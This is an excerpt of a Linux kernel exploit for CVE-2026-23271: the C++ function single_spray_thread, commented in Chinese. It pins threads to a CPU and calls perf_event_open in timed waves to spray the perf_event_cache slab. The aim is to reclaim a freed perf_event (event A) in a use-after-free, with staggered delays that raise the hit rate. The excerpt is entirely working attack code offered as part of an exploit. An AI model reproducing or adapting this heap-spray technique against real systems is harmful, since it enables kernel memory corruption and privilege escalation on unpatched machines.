Function single_spray_thread

CVE-2026-23271/exploit/exploit.cpp:1764–1818

[2-1] 单个 Spray 线程: 分配一个软件类型的 perf_event (事件 B) 目的: 用新的 perf_event 占据被 RCU 释放的事件 A 的 slab slot Phase A (前 128 个): WARNING gate 打开后立即分配 Phase B (剩余): 错开延迟分配 (步进 500ns × 64 steps),增加命中概率

// Phase A (前 128 个): WARNING gate 打开后立即分配
// Phase B (剩余): 错开延迟分配 (步进 500ns × 64 steps),增加命中概率
void *single_spray_thread(void *arg)
{
    struct spray_thread_arg *targ = (struct spray_thread_arg *)arg;
    int idx = targ->index;

    bind_to_cpu(0);

    // 使用软件类型 PERF_COUNT_SW_CPU_CLOCK,同样分配自 perf_event_cache slab
    struct perf_event_attr spray_attr;
    memset(&spray_attr, 0, sizeof(spray_attr));
    spray_attr.type = PERF_TYPE_SOFTWARE;
    spray_attr.size = sizeof(struct perf_event_attr);
    spray_attr.config = PERF_COUNT_SW_CPU_CLOCK;
    spray_attr.disabled = 1;
    spray_attr.exclude_kernel = 1;

// [2-1-1] 等待 Sprayer 主线程的 barrier 释放信号
    pthread_barrier_wait(targ->start_barrier);
    // gate <= 0 说明 WARNING 未命中,退出
    if (__atomic_load_n(&tp_spray_gate, __ATOMIC_ACQUIRE) <= 0 || stop_threads || exit_threads)
        return NULL;

// [2-1-2] Phase B: 延迟错开分配时间    // 分配后128个perf_event时错开时间分配
    if (idx >= TP_SPRAY_PHASEA_COUNT) {
        uint64_t delay_ns = (uint64_t)TP_SPRAY_PHASEB_BASE_DELAY_NS;

        if (TP_SPRAY_PHASEB_STEPS > 0 && TP_SPRAY_PHASEB_STEP_NS > 0) {
            int lane = (idx - TP_SPRAY_PHASEA_COUNT) % TP_SPRAY_PHASEB_STEPS;

            delay_ns += (uint64_t)lane * (uint64_t)TP_SPRAY_PHASEB_STEP_NS;
        }

        tp_spin_delay_ns(delay_ns);
    }

// [2-1-3] 分配事件 B: 可能占据事件 A 的释放 slot
    spray_b_fds[idx] = perf_event_open(&spray_attr, 0, -1, -1, 0);
    if (spray_b_fds[idx] >= 0) {
        uint64_t now_ns = get_time_ns();
        uint64_t expect = 0;

        // 记录首个分配事件的时间戳和索引 (用于性能统计)
        if (__atomic_compare_exchange_n(&tp_first_spray_alloc_ns, &expect, now_ns, 0,
                                        __ATOMIC_ACQ_REL, __ATOMIC_ACQUIRE))
            __atomic_store_n(&tp_first_spray_alloc_idx, idx, __ATOMIC_RELEASE);
    }
    __atomic_fetch_add(&tp_spray_open_done, 1, __ATOMIC_ACQ_REL);

    // 保持线程存活直到 exploit 完成
    while (!exit_threads) {
        sleep(1);
    }

    return NULL;
}

// [2] T4 Sprayer 线程 (CPU 1): 堆喷 orchestrator
// 预创建 SPRAY_B_COUNT 个线程,等待 WARNING gate 打开后同步释放,